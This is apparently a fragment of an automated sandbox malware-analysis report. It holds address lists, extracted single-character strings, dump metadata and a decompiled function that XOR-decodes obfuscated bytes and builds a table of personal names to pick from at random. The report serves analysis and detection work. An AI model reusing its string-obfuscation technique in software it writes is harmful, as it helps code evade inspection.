0x0040a7d8
0x0040a7db
0x0040a7dc
0x0040a7e4
0x0040a7ec
0x0040a7f4
0x0040a7fc
0x0040a804
0x0040a80c
0x0040a814
0x0040a81c
0x0040a824
0x0040a82c
0x0040a834
0x0040a83c
0x0040a844
0x0040a851
0x0040a858
0x0040a860
0x0040a868
0x0040a870
0x0040a878
0x0040a880
0x0040a888
0x0040a890
0x0040a892
0x0040a892
0x0040a89a
0x0040a89b
0x0040a8b1
0x0040a8b6
0x0040a8bb
0x0040a8c0
0x0040a8c5
0x0040a8cd
0x0040a8d5
0x0040a8dd
0x0040a8e5
0x0040a8ee
0x0040a8ef
0x0040a8f8
0x0040a8f9
0x0040a8fe
0x0040a903
0x0040a908
0x0040a90d
0x0040a915
0x0040a91d
0x0040a925
0x0040a92d
0x0040a932
0x0040a936
0x0040a937
0x0040a93f
0x0040a947
0x0040a94f
0x0040a957
0x0040a95f
0x0040a961
0x0040a961
0x0040a969
0x0040a96a
0x0040a96f
0x0040a977
0x0040a97f
0x0040a987
0x0040a98f
0x0040a997
0x0040a99f
0x0040a9a7
0x0040a9af
0x0040a9b7
0x0040a9bf
0x0040a9c7
0x0040a9cf
0x0040a9d7
0x0040a9df
0x0040a9f0
0x0040aa00
0x0040aa07
0x0040aa08
0x0040aa11
0x0040aa1d
0x0040aa1e
0x0040aa23
0x0040aa28
0x0040aa2d
0x0040aa35
0x0040aa3d
0x0040aa45
0x0040aa4a
0x0040aa4f
0x0040aa54
0x0040aa59
0x0040aa5e
0x0040aa66
0x0040aa6e
0x0040aa76
0x0040aa7e
0x0040aa80
0x0040aa87
0x0040aa8b
0x0040aa8c
0x0040aa95
0x0040aaa0
0x0040aaae
0x0040aab9
0x0040aac4
0x0040aad2
0x0040aae0
0x0040aaee
0x0040aafc
0x0040ab07
0x0040ab12
0x0040ab20
0x0040ab2b
0x0040ab39
0x0040ab47
0x0040ab55
0x0040ab60
0x0040ab6b
0x0040ab79
0x0040ab87
0x0040ab95
0x0040aba3
0x0040abb1
0x0040abbc
0x0040abca
0x0040abdc
0x0040abe3
0x0040abf1
0x0040abff
0x0040ac0d
0x0040ac1f
0x0040ac26
0x0040ac38
0x0040ac3f
0x0040ac51
0x0040ac5c
0x0040ac6a
0x0040ac78
0x0040ac86
0x0040ac91
0x0040ac9c
0x0040aca3
0x0040acae
0x0040acb9
0x0040acc0
0x0040acce
0x0040ace0
0x0040ace7
0x0040acf5
0x0040ad03
0x0040ad11
0x0040ad23
0x0040ad2a
0x0040ad3f
0x0040ad46
0x0040ad5b
0x0040ad62
0x0040ad74
0x0040ad7b
0x0040ad82
0x0040ad89
0x0040ad90
0x0040ad97
0x0040ad9e
0x0040ada0
0x0040adaf
0x0040adbc
0x0040adc3
0x0040adc8
0x0040adcd
0x00000000
0x00000000
0x0040adcf
0x0040add3
0x00000000
0x0040add5
0x0040addd
0x0040ade6
0x0040ade7
0x0040adec
0x0040adec
0x0040adf3
0x0040adf3
0x0040adf4
0x0040adfe
0x0040ae18
0x0040ae18
0x0040ae49
0x0040ae3d
0x0040ae4b
0x0040ae52
0x0040ae53
0x0040ae58
0x0040ae5b
0x0040ae5b
0x00000000

Strings

e, xrefs: 00409AFB
g, xrefs: 004096A6
E, xrefs: 0040A03F
3, xrefs: 00409986
E, xrefs: 00409CAA
V, xrefs: 0040A75E
L, xrefs: 0040A04F
:, xrefs: 0040A80C
K, xrefs: 00409C05
d, xrefs: 0040A878
T, xrefs: 00409D6A
7, xrefs: 00409C15
\, xrefs: 0040A03A
p, xrefs: 004093EA
^, xrefs: 0040A595
_, xrefs: 00409475
$, xrefs: 00409AD2
$, xrefs: 0040A7EC
d, xrefs: 0040A868
;, xrefs: 00409CC3
-, xrefs: 00409706
c, xrefs: 0040A98F
*, xrefs: 00409B03
Z, xrefs: 0040AA1E
%, xrefs: 00409A43
;, xrefs: 0040A62E
{, xrefs: 0040A170
!, xrefs: 0040A565
[, xrefs: 004099BE
7, xrefs: 0040A5C5
), xrefs: 0040980D
i, xrefs: 00409E0D
N, xrefs: 004093FA
L, xrefs: 0040AA35
I, xrefs: 0040990F
4, xrefs: 00409465
&, xrefs: 0040A51D
K, xrefs: 00409F8E
o, xrefs: 004098F0
y, xrefs: 004091ED
&, xrefs: 004095A9
q, xrefs: 00409AF3
", xrefs: 0040A047
J, xrefs: 004096B6
H, xrefs: 0040A0A1
Z, xrefs: 00409E9F
d, xrefs: 0040A96F
", xrefs: 0040AA3D
B, xrefs: 00409F86
;, xrefs: 0040A5BD
D, xrefs: 0040A7E4
4, xrefs: 00409D95
p, xrefs: 0040A3C2
., xrefs: 00409FA0
1, xrefs: 00409BED
#, xrefs: 0040A626
\, xrefs: 0040931E
K, xrefs: 00409EA7
u, xrefs: 0040A880
I, xrefs: 0040A58D
-, xrefs: 0040A33F
., xrefs: 00409F96
c, xrefs: 00409591
l, xrefs: 0040998E
8, xrefs: 0040991F
t, xrefs: 00409E87
4, xrefs: 00409CDB
E, xrefs: 004091E5
E, xrefs: 0040A236
h, xrefs: 0040A69E
9, xrefs: 004092A1
{, xrefs: 0040AA4F
V, xrefs: 00409F66
<, xrefs: 00409739
O, xrefs: 00409F6E
., xrefs: 00409CCB
f, xrefs: 0040999E
_, xrefs: 00409B95
_, xrefs: 00409AAB
E, xrefs: 0040AA59
*, xrefs: 0040A5A5
4, xrefs: 0040AA23
?, xrefs: 0040A555
s, xrefs: 0040A804
[, xrefs: 00409E97
G, xrefs: 0040997E
=, xrefs: 0040920D
6, xrefs: 00409A5B
}, xrefs: 0040A34F
q, xrefs: 00409BAD
Z, xrefs: 00409CEB
a, xrefs: 004095A1
F, xrefs: 0040A63E
T, xrefs: 0040A7DC
C, xrefs: 00409F76
:, xrefs: 0040A3E2
I, xrefs: 0040A834
>, xrefs: 0040981D
o, xrefs: 0040A870
9, xrefs: 0040A1D2
3, xrefs: 00409CD3
_, xrefs: 0040A61E
t, xrefs: 0040A858
r, xrefs: 0040A860
`, xrefs: 0040A68E
K, xrefs: 00409A4B
P, xrefs: 0040A766
!, xrefs: 004091CD
P, xrefs: 0040A64E
I, xrefs: 00409A8B
/, xrefs: 004098DE
J, xrefs: 0040AA4A
n, xrefs: 00409D85
_, xrefs: 0040A814
-, xrefs: 0040992F
5, xrefs: 0040A646
d, xrefs: 0040A160
}, xrefs: 0040A505
l, xrefs: 0040A987
j, xrefs: 0040A0B1
Z, xrefs: 00409D00
), xrefs: 00409D7D
], xrefs: 0040A97F
', xrefs: 004093E2
}, xrefs: 0040939E
9, xrefs: 0040A057
, xrefs: 0040A4FD
+, xrefs: 0040A83C
5, xrefs: 0040961C
<, xrefs: 00409A73
[, xrefs: 0040A1F2
=, xrefs: 00409CE3
i, xrefs: 004096CE
#, xrefs: 00409E1D
^, xrefs: 00409F7E
2, xrefs: 0040A3DA
', xrefs: 0040A844
g, xrefs: 0040A0A9
}, xrefs: 00409485
O, xrefs: 0040A5D5
H, xrefs: 004091DD
j, xrefs: 00409624
@, xrefs: 0040A030
&, xrefs: 0040A32F
5, xrefs: 00409C8B
), xrefs: 0040A8BB
o, xrefs: 004098E6

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: $!$!$"$"$#$#$$$$$%$&$&$&$'$'$)$)$)$*$*$+$-$-$-$.$.$.$/$1$2$3$3$4$4$4$4$5$5$5$6$7$7$8$9$9$9$:$:$;$;$;$<$<$=$=$>$?$@$B$C$D$E$E$E$E$E$F$G$H$H$I$I$I$I$J$J$K$K$K$K$L$L$N$O$O$P$P$T$T$V$V$Z$Z$Z$Z$[$[$[$\$\$]$^$^$_$_$_$_$_$`$a$c$c$d$d$d$d$e$f$g$g$h$i$i$j$j$l$l$n$o$o$o$p$p$q$q$r$s$t$t$u$y${${$}$}$}$}
API String ID: 0-3452857728
Opcode ID: 892d795b98dccfa7394c97b9d9f8826649f5283f18d47a3367db2980a1e64871
Instruction ID: ce90db259817db418cc5e0a09670dca84ceb289bd9978b52c69a53845fd9facb
Opcode Fuzzy Hash: 892d795b98dccfa7394c97b9d9f8826649f5283f18d47a3367db2980a1e64871
Instruction Fuzzy Hash: 1EF29F2000C7C299D332863C98587DFBFD55BA7328F588BADD1ED4A2E2D675020AD767

Uniqueness

Uniqueness Score: -1.00%

Function 0040EDE0, Relevance: 182.0, Strings: 145, Instructions: 725
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E0040EDE0() {
				intOrPtr _v4;
				intOrPtr _v52;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v84;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				signed char _v97;
				signed char _v98;
				signed char _v99;
				signed char _v100;
				signed char _v101;
				signed char _v102;
				signed char _v103;
				signed char _v104;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				signed char _v113;
				signed char _v114;
				signed char _v115;
				signed char _v116;
				signed char _v117;
				signed char _v118;
				signed char _v119;
				signed char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				signed char _v138;
				signed char _v139;
				signed char _v140;
				signed char _v141;
				signed char _v142;
				signed char _v143;
				signed char _v144;
				char _v152;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v168;
				char _v176;
				signed char _v186;
				signed char _v187;
				signed char _v188;
				signed char _v189;
				signed char _v190;
				signed char _v191;
				signed char _v192;
				char _v200;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v232;
				char _v240;
				char _v248;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v272;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				signed int _v299;
				signed int _v300;
				signed int _v301;
				signed int _v302;
				signed int _v303;
				signed int _v304;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				signed int _v325;
				signed int _v326;
				signed int _v327;
				signed int _v328;
				signed int _v329;
				signed int _v330;
				signed char _v331;
				signed char _v332;
				signed char _v333;
				signed char _v334;
				signed char _v335;
				signed char _v336;
				char _v340;
				char _v341;
				signed int _v342;
				signed int _v343;
				signed int _v344;
				signed int _v345;
				signed int _v346;
				signed int _v347;
				signed int _v348;
				signed int _v349;
				signed int _v350;
				signed int _v351;
				signed int _v352;
				signed int _v353;
				signed int _v354;
				signed int _v355;
				signed int _v356;
				char _v357;
				char _v358;
				char _v359;
				char _v360;
				char _v361;
				char _v362;
				signed int _v363;
				signed int _v364;
				signed int _v365;
				signed int _v366;
				signed int _v367;
				signed int _v368;
				signed char _v371;
				signed char _v372;
				signed char _v373;
				signed char _v374;
				signed char _v375;
				signed char _v376;
				char _v382;
				char _v383;
				char _v384;
				char _v385;
				char _v386;
				char _v387;
				char _v388;
				char _v391;
				char _v392;
				char _v393;
				char _v394;
				char _v395;
				char _v396;
				intOrPtr _v400;
				char* _v404;
				signed int* _v408;
				intOrPtr _v412;
				signed char* _v416;
				char* _v420;
				char* _v424;
				signed char* _v428;
				intOrPtr _v432;
				signed int* _v436;
				char* _v440;
				char* _v444;
				intOrPtr _v448;
				char* _v452;
				intOrPtr _v456;
				signed int* _v460;
				char* _v464;
				char* _v468;
				intOrPtr _v472;
				char* _v476;
				signed int* _v480;
				signed char* _v484;
				intOrPtr _v488;
				char* _v492;
				signed char* _v496;
				intOrPtr _v500;
				char* _v504;
				intOrPtr _v508;
				char* _v512;
				intOrPtr _v516;
				char* _v520;
				char _v521;
				char _v522;
				char _v523;
				char _v524;
				char* _v528;
				char* _v532;
				signed char* _v536;
				char* _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				char* _v552;
				char* _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				char _v565;
				char _v566;
				char _v567;
				char _v568;
				intOrPtr _v572;
				char _v576;
				char _v580;
				char _v581;
				intOrPtr _t584;
				char _t585;
				void* _t590;
				void* _t599;
				void* _t606;
				intOrPtr _t614;
				void* _t617;
				void* _t626;
				intOrPtr _t628;
				signed int _t632;
				intOrPtr* _t634;
				char _t639;
				char _t644;
				char _t652;
				char _t657;
				char _t666;
				void* _t678;
				signed char _t685;
				signed char _t687;
				signed int _t711;
				intOrPtr _t712;
				char _t753;
				intOrPtr _t781;
				void* _t782;
				void* _t783;
				void* _t784;
				void* _t785;
				void* _t786;
				void* _t787;
				void* _t788;
				void* _t789;
				intOrPtr _t792;
				void* _t794;

				_t794 =  &_v528;
				_t584 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t584;
				_v304 = 0x1d;
				_v303 = 0xcf;
				_v302 = 0x73;
				_v301 = 0x6b;
				_v300 = 0x10;
				_v299 = 0x72;
				_t585 = 0;
				_t783 = 5;
				asm("pushad");
				asm("popad");
				do {
					_t639 =  *((intOrPtr*)(_t794 + _t585 + 0xec));
					 *((char*)(_t794 + _t585 + 0xec)) =  *((intOrPtr*)(_t794 + _t783 + 0xec));
					_t585 = _t585 + 1;
					 *((char*)(_t794 + _t783 + 0xec)) = _t639;
					_t783 = _t783 - 1;
				} while (_t585 < _t783);
				_v192 = _v304 ^ 0x00000001;
				_v191 = _v303 ^ 0x00000078;
				_v190 = _v302 ^ 0x0000000a;
				_v189 = _v301 ^ 0x00000012;
				_v188 = _v300 ^ 0x000000a1;
				_v187 = _v299 ^ 0x0000001d;
				_v524 = 0x6a;
				_v523 = 0x6f;
				_v522 = 0x65;
				_v521 = 0;
				_v264 = 0x72;
				_v263 = 0x6f;
				_v262 = 0x62;
				_v261 = 0x79;
				_v260 = 0x6e;
				_v259 = 0;
				_v112 = 0x6a;
				_v111 = 0x65;
				_v110 = 0x72;
				_v109 = 0x65;
				_v108 = 0x6d;
				_v107 = 0x79;
				_v106 = 0;
				_v332 = 0x83;
				_v331 = 0xc2;
				_v330 = 0x63;
				_v329 = 0x50;
				_v328 = 0x46;
				_v327 = 0x59;
				_v326 = 0xcd;
				_v325 = 0x7f;
				_t590 = 0;
				_t784 = 7;
				do {
					_t644 =  *((intOrPtr*)(_t794 + _t590 + 0xd0));
					 *((char*)(_t794 + _t590 + 0xd0)) =  *((intOrPtr*)(_t794 + _t784 + 0xd0));
					_t590 = _t590 + 1;
					 *((char*)(_t794 + _t784 + 0xd0)) = _t644;
					_t784 = _t784 - 1;
				} while (_t590 < _t784);
				_v104 = _v332 ^ 0x00000014;
				_v103 = _v331 ^ 0x000000a8;
				_v102 = _v330 ^ 0x00000037;
				_v101 = _v329 ^ 0x00000028;
				_v100 = _v328 ^ 0x00000035;
				_v99 = _v327 ^ 0x00000017;
				_v98 = _v326 ^ 0x000000aa;
				_push(6);
				_v97 = _v325 ^ 0x00000083;
				_push( &_v256);
				 *0x431c89 = 0x19;
				_v256 = 0x88;
				_v255 = 0x9c;
				_v254 = 0x95;
				_v253 = 0x1d;
				_v252 = 0xbd;
				_v251 = 0x48;
				_v312 = 0xbc;
				_v311 = 0xd1;
				_v310 = 0xbe;
				_v309 = 0xd2;
				_v308 = 0xbe;
				_v307 = 0xc7;
				_v524 = E0040D980( &_v312);
				_v348 = 0xf0;
				_v347 = 0x33;
				_v346 = 0x7f;
				_v345 = 0x8f;
				_v344 = 0xd4;
				_v343 = 0x7b;
				_v342 = 0x1c;
				_t599 = 0;
				_t785 = 6;
				do {
					_t652 =  *((intOrPtr*)(_t794 + _t599 + 0xc8));
					 *((char*)(_t794 + _t599 + 0xc8)) =  *((intOrPtr*)(_t794 + _t785 + 0xc8));
					_t599 = _t599 + 1;
					 *((char*)(_t794 + _t785 + 0xc8)) = _t652;
					_t785 = _t785 - 1;
				} while (_t599 < _t785);
				_v144 = _v348 ^ 0x00000071;
				_v141 = _v345 ^ 0x000000e3;
				_v143 = _v347 ^ 0x00000012;
				_v142 = _v346 ^ 0x000000b8;
				_v138 = _v342 ^ 0x000000f0;
				_v140 = _v344 ^ 0x0000001a;
				_v139 = _v343 ^ 0x00000041;
				_v348 = 0xac;
				_v347 = 0x88;
				_v346 = 0x4a;
				_v345 = 0xc7;
				_v344 = 0xee;
				_v343 = 0x67;
				_v342 = 0xfc;
				_t606 = 0;
				_t786 = 6;
				do {
					_t657 =  *((intOrPtr*)(_t794 + _t606 + 0xc8));
					 *((char*)(_t794 + _t606 + 0xc8)) =  *((intOrPtr*)(_t794 + _t786 + 0xc8));
					_t606 = _t606 + 1;
					 *((char*)(_t794 + _t786 + 0xc8)) = _t657;
					_t786 = _t786 - 1;
				} while (_t606 < _t786);
				_v192 = _v348 ^ 0x0000008b;
				_v191 = _v347 ^ 0x0000000e;
				_v189 = _v345 ^ 0x000000b4;
				_v188 = _v344 ^ 0x00000025;
				_v190 = _v346 ^ 0x00000082;
				_v160 = 0xdb;
				_v342 = 0xdb;
				_push(7);
				_v186 = _v342 ^ 0x000000ac;
				_push( &_v160);
				_v187 = _v343 ^ 0x000000e6;
				 *0x431c89 = 0x19;
				_v216 = 0x6d;
				_v215 = 0x6f;
				_v214 = 0x6f;
				_v213 = 0x72;
				_v212 = 0x65;
				_v211 = 0;
				_v159 = 0x81;
				_v158 = 0xe5;
				_v157 = 0x9f;
				_v156 = 0x3e;
				_v155 = 0x36;
				_v154 = 0x71;
				_v348 = 0xc6;
				_v347 = 0xb2;
				_v346 = 0xd3;
				_v345 = 0xaa;
				_v344 = 0xc6;
				_v343 = 0xa9;
				_t614 = E0040D980( &_v348);
				_push(7);
				_push( &_v144);
				_v528 = _t614;
				_v68 = 0x61;
				_v67 = 0x6e;
				_v66 = 0x64;
				_v65 = 0x65;
				_v64 = 0x72;
				_v63 = 0x73;
				_v62 = 0x6f;
				_v61 = 0x6e;
				_v60 = 0;
				_v144 = 0xae;
				_v143 = 0xa8;
				_v142 = 0xa6;
				_v141 = 0xbf;
				_v140 = 0x70;
				_v139 = 0x89;
				_v138 = 0x13;
				_v356 = 0x11;
				_v355 = 0x65;
				_v354 = 0xd;
				_v353 = 0x62;
				_v352 = 0xf;
				_v351 = 0x6e;
				_v350 = 0x1d;
				_v528 = E0040D980( &_v356);
				_v356 = 0xa8;
				_v355 = 0xa2;
				_v354 = 0xaf;
				_v353 = 0xb1;
				_v352 = 0x15;
				_v351 = 0xd5;
				_v350 = 0x82;
				_v349 = 0x58;
				_push(0);
				_pop(_t617);
				_t787 = 7;
				do {
					_t666 =  *((intOrPtr*)(_t794 + _t617 + 0xd0));
					 *((char*)(_t794 + _t617 + 0xd0)) =  *((intOrPtr*)(_t794 + _t787 + 0xd0));
					_t617 = _t617 + 1;
					 *((char*)(_t794 + _t787 + 0xd0)) = _t666;
					_t787 = _t787 - 1;
				} while (_t617 < _t787);
				_v119 = _v355 ^ 0x000000e3;
				_v120 = _v356 ^ 0x00000032;
				_v118 = _v354 ^ 0x000000b6;
				_v116 = _v352 ^ 0x000000c2;
				_v117 = _v353 ^ 0x0000007e;
				_v115 = _v351 ^ 0x000000c0;
				_push(7);
				_v113 = _v349 ^ 0x000000a8;
				_push( &_v192);
				_v114 = _v350 ^ 0x000000cc;
				 *0x431c89 = 0x19;
				_v224 = 0x77;
				_v223 = 0x68;
				_v222 = 0x69;
				_v221 = 0x74;
				_v220 = 0x65;
				_v219 = 0;
				_v144 = 0x68;
				_v143 = 0x61;
				_v142 = 0x72;
				_v141 = 0x72;
				_v140 = 0x69;
				_v139 = 0x73;
				_v138 = 0;
				_v192 = 0x2a;
				_v191 = 0x9c;
				_v190 = 0xed;
				_v189 = 0x35;
				_v188 = 0x4a;
				_v187 = 0x35;
				_v186 = 0x68;
				_v364 = 0x4f;
				_v363 = 0x22;
				_v362 = 0x43;
				_v361 = 0x31;
				_v360 = 0x45;
				_v359 = 0x2c;
				_v358 = 0x42;
				_t781 = E0040D980( &_v364);
				_v96 = 0x74;
				_v95 = 0x68;
				_v94 = 0x6f;
				_v93 = 0x6d;
				_v92 = 0x70;
				_v91 = 0x73;
				_v90 = 0x6f;
				_v89 = 0x6e;
				_v88 = 0;
				_v208 = 0x67;
				_v207 = 0x61;
				_v206 = 0x72;
				_v205 = 0x63;
				_v204 = 0x69;
				_v203 = 0x61;
				_v202 = 0;
				_v72 = 0x37;
				_v71 = 0x36;
				_v70 = 0xb3;
				_v69 = 0xc1;
				_v68 = 0x69;
				_v67 = 0x80;
				_push(9);
				_push( &_v72);
				_v66 = 0xc4;
				_v65 = 0x8e;
				_v64 = 0x89;
				_v364 = 0x60;
				_v363 = 0xd;
				_v362 = 0x6c;
				_v361 = 0x1e;
				_v360 = 0x6a;
				_v359 = 3;
				_v358 = 0x6d;
				_v357 = 8;
				_v356 = 0x72;
				_t626 = E0040D980( &_v364);
				_push(6);
				_push( &_v264);
				_t792 = _t626;
				_v128 = 0x72;
				_v127 = 0x6f;
				_v126 = 0x62;
				_v125 = 0x69;
				_v124 = 0x6e;
				_v123 = 0x73;
				_v122 = 0x6f;
				_v121 = 0x6e;
				_v120 = 0;
				_v288 = 0x63;
				_v287 = 0x6c;
				_v286 = 0x61;
				_v285 = 0x72;
				_v284 = 0x6b;
				_v283 = 0;
				_v68 = 0x72;
				_v67 = 0x6f;
				_v66 = 0x64;
				_v65 = 0x72;
				_v64 = 0x69;
				_v63 = 0x67;
				_v62 = 0x75;
				_v61 = 0x65;
				_v60 = 0x7a;
				_v59 = 0;
				_v264 = 0xfd;
				_v263 = 0xda;
				_v262 = 0x64;
				_v261 = 0xb0;
				_v260 = 0x5d;
				_v259 = 0x6c;
				_v352 = 0xc2;
				_v351 = 0xae;
				_v350 = 0xcb;
				_v349 = 0xbc;
				_v348 = 0xd5;
				_v347 = 0xa6;
				_v556 = E0040D980( &_v352);
				_v568 = 0x6c;
				_v567 = 0x65;
				_v566 = 0x65;
				_v565 = 0;
				_v208 = 0x77;
				_v207 = 0x61;
				_v206 = 0x6c;
				_v205 = 0x6b;
				_v204 = 0x65;
				_v203 = 0x72;
				_v202 = 0;
				_v344 = 0x68;
				_v343 = 0x61;
				_v342 = 0x6c;
				_v341 = 0x6c;
				_v340 = 0;
				_v264 = 0x61;
				_v263 = 0x6c;
				_v262 = 0x6c;
				_v261 = 0x65;
				_push(5);
				_push( &_v336);
				_v260 = 0x6e;
				_v259 = 0;
				_v280 = 0x79;
				_v279 = 0x6f;
				_v278 = 0x75;
				_v277 = 0x6e;
				_v276 = 0x67;
				_v275 = 0;
				_v64 = 0x68;
				_v63 = 0x65;
				_v62 = 0x72;
				_v61 = 0x6e;
				_v60 = 0x61;
				_v59 = 0x6e;
				_v58 = 0x64;
				_v57 = 0x65;
				_v56 = 0x7a;
				_v55 = 0;
				_v352 = 0x6b;
				_v351 = 0x69;
				_v350 = 0x6e;
				_v349 = 0x67;
				_v348 = 0;
				_v192 = 0x77;
				_v191 = 0x72;
				_v190 = 0x69;
				_v189 = 0x67;
				_v188 = 0x68;
				_v187 = 0x74;
				_v186 = 0;
				_v320 = 0x6c;
				_v319 = 0x6f;
				_v318 = 0x70;
				_v317 = 0x65;
				_v316 = 0x7a;
				_v315 = 0;
				_v336 = 0xc7;
				_v335 = 0x35;
				_v334 = 0x64;
				_v333 = 0x14;
				_v332 = 0x23;
				_v368 = 0x60;
				_v367 = 8;
				_v366 = 0x61;
				_v365 = 0xd;
				_v364 = 0x61;
				_t628 = E0040D980( &_v368);
				_v376 = 0x68;
				_v375 = 0x3e;
				_v374 = 0xbb;
				_v373 = 0xf0;
				_v372 = 0xec;
				_v371 = 0xa1;
				_t678 = 0;
				_t788 = 5;
				do {
					_v581 =  *((intOrPtr*)(_t794 + _t678 + 0xe0));
					 *((char*)(_t794 + _t678 + 0xe0)) =  *((intOrPtr*)(_t794 + _t788 + 0xe0));
					_t678 = _t678 + 1;
					 *((char*)(_t794 + _t788 + 0xe0)) = _v581;
					_t788 = _t788 - 1;
				} while (_t678 < _t788);
				_v336 = _v376 ^ 0x000000d2;
				_v335 = _v375 ^ 0x0000008f;
				_v334 = _v374 ^ 0x0000009f;
				_v333 = _v373 ^ 0x000000cf;
				_v332 = _v372 ^ 0x0000004a;
				_t685 = 5;
				_v331 = _v371 ^ 0x00000068;
				_v296 = 0x67;
				_v295 = 0x72;
				_v294 = 0x65;
				_v293 = 0x65;
				_v292 = 0x6e;
				_v291 = 0;
				_v396 = 0x61;
				_v395 = 0x64;
				_v394 = 0x61;
				_v393 = 0x6d;
				_v392 = 0x73;
				_v391 = 0;
				_v368 = 0x7a;
				_v367 = 0x24;
				_v366 = 0x9b;
				_v365 = 6;
				_v364 = 0x77;
				_v363 = 0xe5;
				_t789 = 0;
				_v376 = 5;
				do {
					_t753 =  *((intOrPtr*)(_t794 + _t789 + 0xe8));
					 *((char*)(_t794 + _t789 + 0xe8)) =  *((intOrPtr*)(_t794 + _t685 + 0xe8));
					_t687 = _v376;
					_t789 = _t789 + 1;
					 *((char*)(_t794 + _t687 + 0xe8)) = _t753;
					_t685 = _t687 - 1;
					_v581 = _t753;
					_v376 = _t685;
				} while (_t789 < _t685);
				_v376 = _v368 ^ 0x00000087;
				_v375 = _v367 ^ 0x00000016;
				_v374 = _v366 ^ 0x0000006d;
				_v373 = _v365 ^ 0x000000fe;
				_v372 = _v364 ^ 0x00000056;
				_v371 = _v363 ^ 0x0000007a;
				_v556 =  &_v248;
				_v552 =  &_v580;
				_t478 =  &_v320; // 0x6c
				_v548 = _t478;
				_t480 =  &_v168; // 0x68
				_v544 = _t480;
				_v540 =  &_v160;
				_v536 =  &_v192;
				_v532 =  &_v240;
				_v528 =  &_v264;
				_v524 = _v568;
				_v520 =  &_v108;
				_v516 = _v560;
				_v512 =  &_v152;
				_t498 =  &_v256; // 0x65
				_v508 = _t498;
				_v504 =  &_v176;
				_v496 =  &_v120;
				_v492 =  &_v232;
				_v484 =  &_v144;
				 *0x431c89 = 0x19;
				_v132 = 0x67;
				_v131 = 0x6f;
				_v130 = 0x6e;
				_v129 = 0x7a;
				_v128 = 0x61;
				_v127 = 0x6c;
				_v126 = 0x65;
				_v125 = 0x7a;
				_v124 = 0;
				_v368 = 0x6e;
				_v367 = 0x65;
				_v366 = 0x6c;
				_v365 = 0x73;
				_v364 = 0x6f;
				_v363 = 0x6e;
				_v362 = 0;
				_v388 = 0x63;
				_v387 = 0x61;
				_v386 = 0x72;
				_v385 = 0x74;
				_v384 = 0x65;
				_v383 = 0x72;
				_v382 = 0;
				_v500 = _t781;
				_v488 = _t792;
				_v480 =  &_v304;
				_v476 =  &_v84;
				_v472 = _v564;
				_v468 =  &_v576;
				_v464 =  &_v216;
				_v460 =  &_v352;
				_t545 =  &_v272; // 0x61
				_v456 = _t545;
				_v452 =  &_v288;
				_t549 =  &_v72; // 0x69
				_v448 = _t549;
				_v444 =  &_v360;
				_v440 =  &_v200;
				_v432 = _t628;
				_v436 =  &_v328;
				_v428 =  &_v336;
				_v424 =  &_v296;
				_t564 =  &_v132; // 0x67
				_v420 =  &_v396;
				_v416 =  &_v376;
				_v412 = _t564;
				_v408 =  &_v368;
				_v404 =  &_v388;
				_v400 = _v572;
				_t632 = E0040C1D0( &_v368);
				_t711 = 0x28;
				_t790 =  *((intOrPtr*)(_t794 + 0x28 + _t632 % _t711 * 4));
				_t634 =  *((intOrPtr*)(_t794 + 0x28 + _t632 % _t711 * 4));
				_t782 = _t634 + 1;
				do {
					_t712 =  *_t634;
					_t634 = _t634 + 1;
				} while (_t712 != 0);
				return E00424873(E004028A0(_v52, _t790, _t634 - _t782), _v68);
			}

0x0040ede0
0x0040ede6
0x0040eded
0x0040edf7
0x0040edff
0x0040ee07
0x0040ee0f
0x0040ee17
0x0040ee1f
0x0040ee27
0x0040ee2d
0x0040ee2e
0x0040ee2f
0x0040ee30
0x0040ee37
0x0040ee3e
0x0040ee45
0x0040ee46
0x0040ee4d
0x0040ee4e
0x0040ee6f
0x0040ee7d
0x0040ee8b
0x0040eea1
0x0040eea8
0x0040eeaf
0x0040eeb6
0x0040eebb
0x0040eec0
0x0040eec5
0x0040eec9
0x0040eed1
0x0040eed9
0x0040eee1
0x0040eee9
0x0040eef1
0x0040eef8
0x0040ef00
0x0040ef08
0x0040ef10
0x0040ef18
0x0040ef20
0x0040ef28
0x0040ef2f
0x0040ef37
0x0040ef3f
